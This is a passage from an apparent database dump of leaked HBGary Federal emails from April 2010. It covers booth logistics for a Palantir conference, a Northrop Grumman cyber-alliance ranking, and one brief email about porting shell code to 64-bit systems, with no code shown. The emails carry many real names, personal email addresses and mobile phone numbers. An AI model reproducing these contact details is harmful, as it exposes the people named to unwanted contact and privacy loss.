&nbsp;I know some guys that want to give us some\r\nwork are going to be there.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 9:59 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhil will be out of town.&nbsp; I don&#8217;t know about Rich. I\r\ncan attend if you need me to.&nbsp; What are the times and location?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 05,\r\n2010 9:56 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: Message to\r\nall Palantir Conference Partners - CORRECTION\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nbob,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we have any confirmed support from Rich. &nbsp;I haven\'t\r\nheard from him. &nbsp;Are you going to be there?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 2, 2010, at 9:47 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRich and Phil,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe date is April 7 (not the 6th).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, April 02,\r\n2010 9:44 AM\r\nTo:&nbsp;\'Aaron Barr\'; \'Phil\r\nWallisch\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Message to\r\nall Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil and Rich,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron has a booth on April 6 at a conference help by Palantir in\r\nTysons.&nbsp; He requests that one of you help by manning the booth.&nbsp;\r\nMaybe we can &#8220;tag team&#8221;.&nbsp; Phil and I have a demo via webex at\r\n2pm that day.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, April 01,\r\n2010 10:30 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Fwd: Message to\r\nall Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;April 1, 2010 4:32:31 PM EDT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Undisclosed recipients:;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nMessage to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nmake sure that your staff who will be attending the conference next week on 7\r\nApril have registered at the following site:&nbsp;http://palantirtech.eventbrite.com/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEveryone\r\nshould have received a Partner Booth Guide with setup details several weeks\r\nago, but I have attached it again for reference.&nbsp; Please take the time to\r\nread through this as there are highly important details included.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhave also attached the conference agenda for your reference.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDon&#8217;t\r\nhesitate to contact me with any questions.&nbsp; Looking forward to your\r\nparticipation in the conference next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11302,'aaron_hbgary_com/11302.html'),(4919,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003152.M857403P3547Q4919.eml','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','Event accepted: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)','Aaron Barr has accepted your iCal event invitation to the event: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11), scheduled for April 13, 2010 at 11:30 AM (Eastern Standard Time).',12068,'aaron_hbgary_com/12068.html'),(4920,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003153.M300275P3547Q4921.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: Cyber Security Alliance Matrix','Sorry for delay in responding. &nbsp;I was in NYC all last week with family for a much needed vacation and managed to stay away from work things.At the base of what we are proposing for a Threat Intelligence Capability is thisBase: HBGary and PalantirOptions: Endgame Systems, Netwitness/Fidelis, Splunk&nbsp;The important concept is getting all layers of the cyber environment into a useful analysis and incident response framework.Palantir - Analysis FrameworkHBGary - Malware/Endpoint dataSplunk - Data MiningNetwitness or Fidelis - Network dataEndgames - external cyber environment dataOne piece that is missing is the Social networking data. &nbsp;We are working to set up discussions with a few companies that can help here.&nbsp;AaronOn Mar 26, 2010, at 12:46 PM, Shows, Bob (IS) wrote:Aaron,&nbsp;I had not seen this while we were talking a few minutes ago.&nbsp; I see Palantir on the list.&nbsp; Please take a look at this and let me know if HB Gary and others on your ‘Team of 5’ would be candidates for such an Alliance.&nbsp;&nbsp;In my response to Ron, I will address our San Antonio approach, so a reminder on who is doing what in your Team of 5 in that thrust would be most appreciated.&nbsp;Cheers,&nbsp;Robert \'Bob\' Shows&nbsp;USAF Account Team NGIS/DSDNorthrop Grumman Corporation&nbsp;310.210.2549From:&nbsp;Foudray, Ron (IS)&nbsp;Sent:&nbsp;Friday, March 26, 2010 11:08 AMTo:&nbsp;Godwin, Gib (IS); Chiaravalle, Susan (IS); Lefebvre, Michael (IS); Slaight, Matt (IS); Jackson, Sheila A (IS); Burns, Destiny R (IS); Strei, Thomas J (IS); Iyer, Srini (IS); Richardson, Harry F (IS); Johnson, Chris (IS); Northrup, Jim (IS); Shows, Bob (IS); Holderness, Chuck (IS)Cc:&nbsp;DeAngelis, Dario (IS); Hobart, Bob (IS); Mullen, SeanSubject:&nbsp;Fw: Cyber Security Alliance Matrix&nbsp;Team:Thoughts appreciated.Thanks,Ron&nbsp;From: Lee, James (IS)&nbsp;To: Foudray, Ron (IS); Yu, Jeffrey C (IS); Greene, Brent (IS)&nbsp;Cc: Draffin, Cyril W (IS); Miller, Diane (CSL); Korin, Jon (IS); Starkey, Billy (IS); Graham, Christine T (IS); Jost, Lisa S (IS); Godwin, Gib (IS); Cooperman, Steven E (IS); Long, John F (CSLS); Strang, Larry (IS)&nbsp;Sent: Fri Mar 26 10:42:41 2010Subject: Cyber Security Alliance MatrixAs a follow-on to our 3/8 Cyber Alliances meeting, &nbsp;attached please find a cyber security “priority ranking matrix”.&nbsp;&nbsp;&nbsp;Ron/Jeff/Brent:&nbsp; For your respective division (one column for each division), please choose “high, med, or low” as a cyber security priority for each company listed. &nbsp;&nbsp;If priority is “high” please also describe the division capability or offering area to which the company is aligned in the adjacent column.&nbsp; Please also ADD organizations to the list if you believe they are high priority to your business but for some reason (quite possible) are not included here.&nbsp;To assist, we’ve included summary information for each company as to 1.) IRAD Investments, 2.) Joint Pursuits and 3.) Identified Gaps as well as the websites and other ancillary info for each organization.&nbsp;&nbsp; The second tab shows all organizations which have briefed or are scheduled to brief at the security brown bag sessions.&nbsp;&nbsp;&nbsp;The objective is to arrive at a “short list” of companies, common across the three divisions, &nbsp;which can enable and bring differentiation to our cyber capabilities. &nbsp;&nbsp;We will then meet to discuss the list and begin establishing sector relationships and strategies with these organizations.&nbsp;&nbsp;Please take an initial cut at this try to return NLT COB 4/8 so we can keep the process moving forward and insure each division’s interests are represented.&nbsp;-Jim&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Jim LeeDirector, Portfolio &amp; PartnershipsNorthrop Grumman Information Systems7575 Colshire DriveMcLean, VA 22102O: (703)556-1307C: (703)635-0394&nbsp;&lt;Copy of CyberRankV4.xlsx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12751,'aaron_hbgary_com/12751.html'),(4921,'2010-04-05','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003153.M538099P3547Q4922.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir GovCon','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure what you mean by pop up&#8217;s.&nbsp; Monitor needs to be like\r\none we have.&nbsp; Costco should have.&nbsp; It needs to be able to plug into a computer\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 6:55 AM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Penny Leavy\r\nSubject: Fwd: Palantir GovCon\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAre the &quot;pop-ups&quot; with the Booth? &nbsp;Any\r\nrequirements on the monitor. &nbsp;I need to go pick one up.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Bob\r\nSlapnik&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nApril\r\n2, 2010 9:49:11 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;\'Aaron\r\nBarr\'&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: Palantir GovCon\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\nFYI,\r\n\r\nThe booth takes 2 hours to set up so if you use it you have to plan for\r\nthis.\r\n\r\nI recommend not using the booth. Instead, you can just have the HBGary table\r\ncloth and 2 pop-up displays. &nbsp;It will cut you set up time to 10 minutes.\r\nAnd it will be fine. &nbsp;I don\'t know where the pop-ups are. &nbsp;They might\r\nbe in\r\nthe booth boxes.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010 10:30 PM\r\nTo: Bob Slapnik\r\nSubject: Palantir GovCon\r\n\r\nBob,\r\n\r\nJust to put it down on paper.\r\n\r\nThe event is on the 7th. &nbsp;The booth is going to be delivered to the\r\nRitz-Carlton for the event. &nbsp;Penny thought it was a good idea that we were\r\nthere. &nbsp;It would be great if Rich or Phil could participate part of the\r\nday.\r\nI plan on being there the whole day but have never sat the HBGary booth\r\nbefore so would be nice to go through it with someone.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11327,'aaron_hbgary_com/11327.html'),(4922,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003153.M68635P3547Q4920.eml','\"JD Kathuria\" <jd@executivebiz.com>','iCal event canceled: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11)','Aaron Barr has canceled the iCal event: 4x24 Conference Call with Aaron Barr of HB Gary (Group 11). To handle this cancellation, click the link below.',3599,'aaron_hbgary_com/3599.html'),(4923,'2010-04-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003153.M807974P3547Q4923.eml','\"Martin Pillion\" <martin@hbgary.com>,scott@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Customer Expectations','Martin / Scott,\r\n\r\nDoes the customer expect to have the 32-bit shell code we are currently\r\nporting to 64-bits work on all of the same 64-bit OS\'s as the\r\nkernel-inject shell code that Clearhat previously ported?\r\n\r\nCurrently Clearhat is only porting to Vista 64, and they said that they\r\nwill not have time to port it to the other OSs prior to the final\r\nsell-off with the Customer (week of the 19th).\r\n\r\nThanks,\r\nTed\r\n',5236,'aaron_hbgary_com/5236.html'),(4924,'2010-04-05','tedvera@gmail.com','/aaron@hbgary.com/new/1297003154.M20073P3547Q4924.eml','aaron@hbgary.com','HB Gary Federal Business Pipeline, HB Gary Cash Flow 2010','\r\n\r\nI\'ve shared some items with you\r\nMessage from tedvera@gmail.com:\r\n\r\nClick to open:\r\nHB Gary Federal Business Pipeline HB Gary Cash Flow 2010\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',4796,'aaron_hbgary_com/4796.html'),(4925,'2010-04-05','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297003154.M236110P3547Q4925.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Cyber Security Alliance Matrix','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI…\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Foudray, Ron (IS) \r\nSent: Monday, April 05, 2010 11:27 AM\r\nTo: Shows, Bob (IS)\r\nCc: Mullen, Sean\r\nSubject: Re: Cyber Security Alliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks Bob. Good add.\r\n\r\nRon\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nTo: Foudray, Ron (IS) \r\nCc: Mullen, Sean \r\nSent: Mon Apr 05 10:55:22 2010\r\nSubject: FW: Cyber Security Alliance Matrix \r\n\r\n\r\n\r\nRon,\r\n\r\n&nbsp;\r\n\r\nDSD has an NDA\r\nwith HB Gary Federal, Inc and the other four companies below in approaching 624th\r\nOps Ctr.&nbsp; Of note, HBGary CEO is Aaron Barr who used to be CTO (or senior\r\nTech leader) at Essex in Millersville.&nbsp; Since Palantir is already in the\r\nmatrix—the others may be a fit as well.\r\n\r\n&nbsp;\r\n\r\nIt is especially\r\nworthwhile having a relationship with HBGary since they received high marks for\r\ntheir assessment of the attack on Google in the Dec ’09 timeframe in their\r\nOperations Aurora report…and, Aaron is very trustworthy and he knows the\r\nstrengths of NGC.\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 10:42 AM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: Cyber Security Alliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry for delay in responding. &nbsp;I was in NYC all last\r\nweek with family for a much needed vacation and managed to stay away from work\r\nthings.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAt the base of what we are proposing for a Threat\r\nIntelligence Capability is this\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBase: HBGary and Palantir\r\n\r\n\r\n\r\n\r\n\r\nOptions: Endgame Systems, Netwitness/Fidelis, Splunk&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe important concept is getting all layers of the cyber\r\nenvironment into a useful analysis and incident response framework.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPalantir - Analysis Framework\r\n\r\n\r\n\r\n\r\n\r\nHBGary - Malware/Endpoint data\r\n\r\n\r\n\r\n\r\n\r\nSplunk - Data Mining\r\n\r\n\r\n\r\n\r\n\r\nNetwitness or Fidelis - Network data\r\n\r\n\r\n\r\n\r\n\r\nEndgames - external cyber environment data\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOne piece that is missing is the Social networking data.\r\n&nbsp;We are working to set up discussions with a few companies that can help\r\nhere.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 12:46 PM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI had not seen\r\nthis while we were talking a few minutes ago.&nbsp; I see Palantir on the\r\nlist.&nbsp; Please take a look at this and let me know if HB Gary and others on\r\nyour ‘Team of 5’ would be candidates for such an Alliance.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn my response to\r\nRon, I will address our San Antonio approach, so a reminder on who is doing\r\nwhat in your Team of 5 in that thrust would be most appreciated.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRobert \'Bob\'\r\nShows&nbsp;\r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation&nbsp;\r\n310.210.2549\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Foudray, Ron (IS)&nbsp;\r\nSent:&nbsp;Friday, March 26,\r\n2010 11:08 AM\r\nTo:&nbsp;Godwin, Gib (IS);\r\nChiaravalle, Susan (IS); Lefebvre, Michael (IS); Slaight, Matt (IS); Jackson,\r\nSheila A (IS); Burns, Destiny R (IS); Strei, Thomas J (IS); Iyer, Srini (IS);\r\nRichardson, Harry F (IS); Johnson, Chris (IS); Northrup, Jim (IS); Shows, Bob\r\n(IS); Holderness, Chuck (IS)\r\nCc:&nbsp;DeAngelis, Dario (IS);\r\nHobart, Bob (IS); Mullen, Sean\r\nSubject:&nbsp;Fw: Cyber\r\nSecurity Alliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam:\r\n\r\nThoughts appreciated.\r\n\r\nThanks,\r\nRon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lee, James (IS)&nbsp;\r\nTo: Foudray, Ron (IS); Yu, Jeffrey C (IS); Greene, Brent (IS)&nbsp;\r\nCc: Draffin, Cyril W (IS); Miller, Diane (CSL); Korin, Jon (IS); Starkey,\r\nBilly (IS); Graham, Christine T (IS); Jost, Lisa S (IS); Godwin, Gib (IS);\r\nCooperman, Steven E (IS); Long, John F (CSLS); Strang, Larry (IS)&nbsp;\r\nSent: Fri Mar 26 10:42:41 2010\r\nSubject: Cyber Security Alliance Matrix\r\n\r\n\r\n\r\n\r\n\r\nAs\r\na follow-on to our 3/8 Cyber Alliances meeting, &nbsp;attached please find a\r\ncyber security “priority ranking matrix”.&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRon/Jeff/Brent:&nbsp;\r\nFor your respective division (one column for each division), please choose\r\n“high, med, or low” as a cyber security priority for each company listed.\r\n&nbsp;&nbsp;If priority is “high” please also describe the division capability\r\nor offering area to which the company is aligned in the adjacent column.&nbsp;\r\nPlease also ADD organizations to the list if you believe they are high priority\r\nto your business but for some reason (quite possible) are not included here.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTo\r\nassist, we’ve included summary information for each company as to 1.) IRAD\r\nInvestments, 2.) Joint Pursuits and 3.) Identified Gaps as well as the websites\r\nand other ancillary info for each organization.&nbsp;&nbsp; The second tab\r\nshows all organizations which have briefed or are scheduled to brief at the\r\nsecurity brown bag sessions.&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nobjective is to arrive at a “short list” of companies, common across the three\r\ndivisions, &nbsp;which can enable and bring differentiation to our cyber\r\ncapabilities. &nbsp;&nbsp;We will then meet to discuss the list and begin\r\nestablishing sector relationships and strategies with these\r\norganizations.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\ntake an initial cut at this try to return NLT COB 4/8 so we can keep the\r\nprocess moving forward and insure each division’s interests are represented.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Jim\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim\r\nLee\r\n\r\n\r\n\r\n\r\n\r\nDirector,\r\nPortfolio &amp; Partnerships\r\n\r\n\r\n\r\n\r\n\r\nNorthrop\r\nGrumman Information Systems\r\n\r\n\r\n\r\n\r\n\r\n7575\r\nColshire Drive\r\n\r\n\r\n\r\n\r\n\r\nMcLean,\r\nVA 22102\r\n\r\n\r\n\r\n\r\n\r\nO:\r\n(703)556-1307\r\n\r\n\r\n\r\n\r\n\r\nC:\r\n(703)635-0394\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Copy\r\nof CyberRankV4.xlsx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron 